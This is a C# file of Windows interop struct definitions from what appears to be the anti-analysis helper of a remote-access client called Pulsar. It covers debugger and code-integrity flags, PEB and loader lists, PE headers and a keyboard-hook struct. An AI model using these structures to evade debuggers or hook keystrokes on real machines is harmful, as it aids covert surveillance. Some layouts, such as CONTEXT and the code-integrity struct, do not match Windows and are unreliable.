430 lines
14 KiB
C#
430 lines
14 KiB
C#
|
using System;
|
||
|
|
using System.Runtime.InteropServices;
|
||
|
|
|
||
|
|
namespace Pulsar.Client.Anti.Helper
|
||
|
|
{
|
||
|
|
public class Structs
|
||
|
|
{
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct CONTEXT
|
||
|
|
{
|
||
|
|
public uint P1Home;
|
||
|
|
public uint P2Home;
|
||
|
|
public uint P3Home;
|
||
|
|
public uint P4Home;
|
||
|
|
public uint P5Home;
|
||
|
|
public uint P6Home;
|
||
|
|
public long ContextFlags;
|
||
|
|
public IntPtr MxCsr;
|
||
|
|
public IntPtr SegCs;
|
||
|
|
public IntPtr SegDs;
|
||
|
|
public IntPtr SegEs;
|
||
|
|
public IntPtr SegFs;
|
||
|
|
public IntPtr SegGs;
|
||
|
|
public IntPtr SegSs;
|
||
|
|
public IntPtr EFlags;
|
||
|
|
public uint Dr0;
|
||
|
|
public uint Dr1;
|
||
|
|
public uint Dr2;
|
||
|
|
public uint Dr3;
|
||
|
|
public uint Dr6;
|
||
|
|
public uint Dr7;
|
||
|
|
}
|
||
|
|
|
||
|
|
public struct PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
|
||
|
|
{
|
||
|
|
public uint MicrosoftSignedOnly;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Explicit)]
|
||
|
|
public struct SYSTEM_CODEINTEGRITY_INFORMATION
|
||
|
|
{
|
||
|
|
[FieldOffset(0)]
|
||
|
|
public ulong Length;
|
||
|
|
|
||
|
|
[FieldOffset(4)]
|
||
|
|
public uint CodeIntegrityOptions;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct PROCESS_BASIC_INFORMATION
|
||
|
|
{
|
||
|
|
internal IntPtr Reserved1;
|
||
|
|
internal IntPtr PebBaseAddress;
|
||
|
|
internal IntPtr Reserved2_0;
|
||
|
|
internal IntPtr Reserved2_1;
|
||
|
|
internal IntPtr UniqueProcessId;
|
||
|
|
internal IntPtr InheritedFromUniqueProcessId;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct SYSTEM_KERNEL_DEBUGGER_INFORMATION
|
||
|
|
{
|
||
|
|
[MarshalAs(UnmanagedType.U1)]
|
||
|
|
public bool KernelDebuggerEnabled;
|
||
|
|
|
||
|
|
[MarshalAs(UnmanagedType.U1)]
|
||
|
|
public bool KernelDebuggerNotPresent;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct UNICODE_STRING
|
||
|
|
{
|
||
|
|
public ushort Length;
|
||
|
|
public ushort MaximumLength;
|
||
|
|
public IntPtr Buffer;
|
||
|
|
}
|
||
|
|
|
||
|
|
public struct ANSI_STRING
|
||
|
|
{
|
||
|
|
public short Length;
|
||
|
|
public short MaximumLength;
|
||
|
|
public string Buffer;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct SYSTEM_SECUREBOOT_INFORMATION
|
||
|
|
{
|
||
|
|
public bool SecureBootEnabled;
|
||
|
|
public bool SecureBootCapable;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct SYSTEM_INFO
|
||
|
|
{
|
||
|
|
public ushort ProcessorArchitecture;
|
||
|
|
ushort Reserved;
|
||
|
|
public uint PageSize;
|
||
|
|
public IntPtr MinimumApplicationAddress;
|
||
|
|
public IntPtr MaximumApplicationAddress;
|
||
|
|
public IntPtr ActiveProcessorMask;
|
||
|
|
public uint NumberOfProcessors;
|
||
|
|
public uint ProcessorType;
|
||
|
|
public uint AllocationGranularity;
|
||
|
|
public ushort ProcessorLevel;
|
||
|
|
public ushort ProcessorRevision;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct OSVERSIONINFOEX
|
||
|
|
{
|
||
|
|
public int dwOSVersionInfoSize;
|
||
|
|
public int dwMajorVersion;
|
||
|
|
public int dwMinorVersion;
|
||
|
|
public int dwBuildNumber;
|
||
|
|
public int dwPlatformId;
|
||
|
|
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||
|
|
public string szCSDVersion;
|
||
|
|
public ushort wServicePackMajor;
|
||
|
|
public ushort wServicePackMinor;
|
||
|
|
public ushort wSuiteMask;
|
||
|
|
public byte wProductType;
|
||
|
|
public byte wReserved;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct IMAGE_DOS_HEADER
|
||
|
|
{
|
||
|
|
public ushort e_magic;
|
||
|
|
public ushort e_cblp;
|
||
|
|
public ushort e_cp;
|
||
|
|
public ushort e_crlc;
|
||
|
|
public ushort e_cparhdr;
|
||
|
|
public ushort e_minalloc;
|
||
|
|
public ushort e_maxalloc;
|
||
|
|
public ushort e_ss;
|
||
|
|
public ushort e_sp;
|
||
|
|
public ushort e_csum;
|
||
|
|
public ushort e_ip;
|
||
|
|
public ushort e_cs;
|
||
|
|
public ushort e_lfarlc;
|
||
|
|
public ushort e_ovno;
|
||
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
|
||
|
|
public ushort[] e_res1;
|
||
|
|
public ushort e_oemid;
|
||
|
|
public ushort e_oeminfo;
|
||
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
|
||
|
|
public ushort[] e_res2;
|
||
|
|
public int e_lfanew;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public unsafe struct IMAGE_NT_HEADERS32
|
||
|
|
{
|
||
|
|
public UInt32 Signature;
|
||
|
|
public IMAGE_FILE_HEADER FileHeader;
|
||
|
|
public IMAGE_OPTIONAL_HEADER32 OptionalHeader;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public unsafe struct IMAGE_NT_HEADERS64
|
||
|
|
{
|
||
|
|
public UInt32 Signature;
|
||
|
|
public IMAGE_FILE_HEADER FileHeader;
|
||
|
|
public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct IMAGE_FILE_HEADER
|
||
|
|
{
|
||
|
|
public ushort Machine;
|
||
|
|
public ushort NumberOfSections;
|
||
|
|
public uint TimeDateStamp;
|
||
|
|
public uint PointerToSymbolTable;
|
||
|
|
public uint NumberOfSymbols;
|
||
|
|
public ushort SizeOfOptionalHeader;
|
||
|
|
public ushort Characteristics;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public unsafe struct IMAGE_OPTIONAL_HEADER64
|
||
|
|
{
|
||
|
|
public UInt16 Magic;
|
||
|
|
public byte MajorLinkerVersion;
|
||
|
|
public byte MinorLinkerVersion;
|
||
|
|
public uint SizeOfCode;
|
||
|
|
public uint SizeOfInitializedData;
|
||
|
|
public uint SizeOfUninitializedData;
|
||
|
|
public uint AddressOfEntryPoint;
|
||
|
|
public uint BaseOfCode;
|
||
|
|
public ulong ImageBase;
|
||
|
|
public uint SectionAlignment;
|
||
|
|
public uint FileAlignment;
|
||
|
|
public ushort MajorOperatingSystemVersion;
|
||
|
|
public ushort MinorOperatingSystemVersion;
|
||
|
|
public ushort MajorImageVersion;
|
||
|
|
public ushort MinorImageVersion;
|
||
|
|
public ushort MajorSubsystemVersion;
|
||
|
|
public ushort MinorSubsystemVersion;
|
||
|
|
public uint Win32VersionValue;
|
||
|
|
public uint SizeOfImage;
|
||
|
|
public uint SizeOfHeaders;
|
||
|
|
public uint CheckSum;
|
||
|
|
public UInt16 Subsystem;
|
||
|
|
public UInt16 DllCharacteristics;
|
||
|
|
public ulong SizeOfStackReserve;
|
||
|
|
public ulong SizeOfStackCommit;
|
||
|
|
public ulong SizeOfHeapReserve;
|
||
|
|
public ulong SizeOfHeapCommit;
|
||
|
|
public uint LoaderFlags;
|
||
|
|
public uint NumberOfRvaAndSizes;
|
||
|
|
public IMAGE_DATA_DIRECTORY DataDirectory;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||
|
|
public struct IMAGE_OPTIONAL_HEADER32
|
||
|
|
{
|
||
|
|
public UInt16 Magic;
|
||
|
|
public Byte MajorLinkerVersion;
|
||
|
|
public Byte MinorLinkerVersion;
|
||
|
|
public UInt32 SizeOfCode;
|
||
|
|
public UInt32 SizeOfInitializedData;
|
||
|
|
public UInt32 SizeOfUninitializedData;
|
||
|
|
public UInt32 AddressOfEntryPoint;
|
||
|
|
public UInt32 BaseOfCode;
|
||
|
|
public UInt32 BaseOfData;
|
||
|
|
public UInt32 ImageBase;
|
||
|
|
public UInt32 SectionAlignment;
|
||
|
|
public UInt32 FileAlignment;
|
||
|
|
public UInt16 MajorOperatingSystemVersion;
|
||
|
|
public UInt16 MinorOperatingSystemVersion;
|
||
|
|
public UInt16 MajorImageVersion;
|
||
|
|
public UInt16 MinorImageVersion;
|
||
|
|
public UInt16 MajorSubsystemVersion;
|
||
|
|
public UInt16 MinorSubsystemVersion;
|
||
|
|
public UInt32 Win32VersionValue;
|
||
|
|
public UInt32 SizeOfImage;
|
||
|
|
public UInt32 SizeOfHeaders;
|
||
|
|
public UInt32 CheckSum;
|
||
|
|
public UInt16 Subsystem;
|
||
|
|
public UInt16 DllCharacteristics;
|
||
|
|
public UInt32 SizeOfStackReserve;
|
||
|
|
public UInt32 SizeOfStackCommit;
|
||
|
|
public UInt32 SizeOfHeapReserve;
|
||
|
|
public UInt32 SizeOfHeapCommit;
|
||
|
|
public UInt32 LoaderFlags;
|
||
|
|
public UInt32 NumberOfRvaAndSizes;
|
||
|
|
public IMAGE_DATA_DIRECTORY DataDirectory;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct IMAGE_DATA_DIRECTORY
|
||
|
|
{
|
||
|
|
public uint VirtualAddress;
|
||
|
|
public uint Size;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct IMAGE_EXPORT_DIRECTORY
|
||
|
|
{
|
||
|
|
public uint Characteristics;
|
||
|
|
public uint TimeDateStamp;
|
||
|
|
public ushort MajorVersion;
|
||
|
|
public ushort MinorVersion;
|
||
|
|
public uint Name;
|
||
|
|
public uint Base;
|
||
|
|
public uint NumberOfFunctions;
|
||
|
|
public uint NumberOfNames;
|
||
|
|
public uint AddressOfFunctions;
|
||
|
|
public uint AddressOfNames;
|
||
|
|
public uint AddressOfNameOrdinals;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
|
||
|
|
public struct IMAGE_SECTION_HEADER
|
||
|
|
{
|
||
|
|
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
|
||
|
|
public byte[] Name;
|
||
|
|
|
||
|
|
public uint VirtualSize;
|
||
|
|
public uint VirtualAddress;
|
||
|
|
public uint SizeOfRawData;
|
||
|
|
public uint PointerToRawData;
|
||
|
|
public uint PointerToRelocations;
|
||
|
|
public uint PointerToLinenumbers;
|
||
|
|
public ushort NumberOfRelocations;
|
||
|
|
public ushort NumberOfLinenumbers;
|
||
|
|
public uint Characteristics;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct MEMORY_BASIC_INFORMATION
|
||
|
|
{
|
||
|
|
public IntPtr BaseAddress;
|
||
|
|
public IntPtr AllocationBase;
|
||
|
|
public uint AllocationProtect;
|
||
|
|
public IntPtr RegionSize;
|
||
|
|
public uint State;
|
||
|
|
public uint Protect;
|
||
|
|
public uint Type;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct OBJECT_ATTRIBUTES
|
||
|
|
{
|
||
|
|
public int Length;
|
||
|
|
public IntPtr RootDirectory;
|
||
|
|
public IntPtr ObjectName;
|
||
|
|
public uint Attributes;
|
||
|
|
public IntPtr SecurityDescriptor;
|
||
|
|
public IntPtr SecurityQualityOfService;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct CLIENT_ID
|
||
|
|
{
|
||
|
|
public IntPtr UniqueProcess;
|
||
|
|
public IntPtr UniqueThread;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct _LIST_ENTRY
|
||
|
|
{
|
||
|
|
public IntPtr Flink;
|
||
|
|
public IntPtr Blink;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct _PEB_LDR_DATA
|
||
|
|
{
|
||
|
|
public UInt32 Length;
|
||
|
|
public Byte Initialized;
|
||
|
|
public IntPtr SsHandle;
|
||
|
|
public _LIST_ENTRY InLoadOrderModuleList;
|
||
|
|
public _LIST_ENTRY InMemoryOrderModuleList;
|
||
|
|
public _LIST_ENTRY InInitializationOrderModuleList;
|
||
|
|
public IntPtr EntryInProgress;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct _LDR_DATA_TABLE_ENTRY
|
||
|
|
{
|
||
|
|
public _LIST_ENTRY InLoadOrderLinks;
|
||
|
|
public _LIST_ENTRY InMemoryOrderLinks;
|
||
|
|
public _LIST_ENTRY InInitializationOrderLinks;
|
||
|
|
public IntPtr DllBase;
|
||
|
|
public IntPtr EntryPoint;
|
||
|
|
public UInt32 SizeOfImage;
|
||
|
|
public UNICODE_STRING FullDllName;
|
||
|
|
public UNICODE_STRING BaseDllName;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct RTL_USER_PROCESS_PARAMETERS
|
||
|
|
{
|
||
|
|
public long MaximumLength;
|
||
|
|
public long Length;
|
||
|
|
public long Flags;
|
||
|
|
public long DebugFlags;
|
||
|
|
public IntPtr ConsoleHandle;
|
||
|
|
public long ConsoleFlags;
|
||
|
|
public IntPtr StdInputHandle;
|
||
|
|
public IntPtr StdOutputHandle;
|
||
|
|
public IntPtr StdErrorHandle;
|
||
|
|
public IntPtr CurrentDirectory;
|
||
|
|
public UNICODE_STRING DllPath;
|
||
|
|
public UNICODE_STRING ImagePathName;
|
||
|
|
public UNICODE_STRING CommandLine;
|
||
|
|
public IntPtr Environment;
|
||
|
|
public long StartingPositionLeft;
|
||
|
|
public long StartingPositionTop;
|
||
|
|
public long Width;
|
||
|
|
public long Height;
|
||
|
|
public long CharWidth;
|
||
|
|
public long CharHeight;
|
||
|
|
public long ConsoleTextAttributes;
|
||
|
|
public long WindowFlags;
|
||
|
|
public long ShowWindowFlags;
|
||
|
|
public UNICODE_STRING WindowTitle;
|
||
|
|
public UNICODE_STRING DesktopName;
|
||
|
|
public UNICODE_STRING ShellInfo;
|
||
|
|
public UNICODE_STRING RuntimeData;
|
||
|
|
public IntPtr DLCurrentDirectory;
|
||
|
|
public long EnvironmentSize;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public unsafe struct PEB
|
||
|
|
{
|
||
|
|
public byte InheritedAddressSpace;
|
||
|
|
public byte ReadImageFileExecOptions;
|
||
|
|
public byte BeingDebugged;
|
||
|
|
public byte SpareBool;
|
||
|
|
public IntPtr Mutant;
|
||
|
|
public IntPtr ImageBaseAddress;
|
||
|
|
public IntPtr Ldr;
|
||
|
|
public IntPtr ProcessParameters;
|
||
|
|
public IntPtr SubSystemData;
|
||
|
|
public IntPtr ProcessHeap;
|
||
|
|
public IntPtr FastPebLock;
|
||
|
|
public IntPtr AtlThunkSListPtr;
|
||
|
|
public IntPtr IFEOKey;
|
||
|
|
public uint CrossProcessFlags;
|
||
|
|
public IntPtr KernelCallbackTable;
|
||
|
|
public uint SystemReserved;
|
||
|
|
public uint AtlThunkSListPtr32;
|
||
|
|
public IntPtr ApiSetMap;
|
||
|
|
public uint TlsExpansionCounter;
|
||
|
|
public IntPtr TlsBitmap;
|
||
|
|
public fixed uint TlsBitmapBits[2];
|
||
|
|
public IntPtr ReadOnlySharedMemoryBase;
|
||
|
|
public IntPtr SharedData;
|
||
|
|
public IntPtr ReadOnlyStaticServerData;
|
||
|
|
public IntPtr AnsiCodePageData;
|
||
|
|
public IntPtr OemCodePageData;
|
||
|
|
public IntPtr UnicodeCaseTableData;
|
||
|
|
public uint NumberOfProcessors;
|
||
|
|
public uint NtGlobalFlag;
|
||
|
|
}
|
||
|
|
|
||
|
|
[StructLayout(LayoutKind.Sequential)]
|
||
|
|
public struct KBDLLHOOKSTRUCT
|
||
|
|
{
|
||
|
|
public uint vkCode;
|
||
|
|
public uint scanCode;
|
||
|
|
public uint flags;
|
||
|
|
public uint time;
|
||
|
|
public IntPtr dwExtraInfo;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|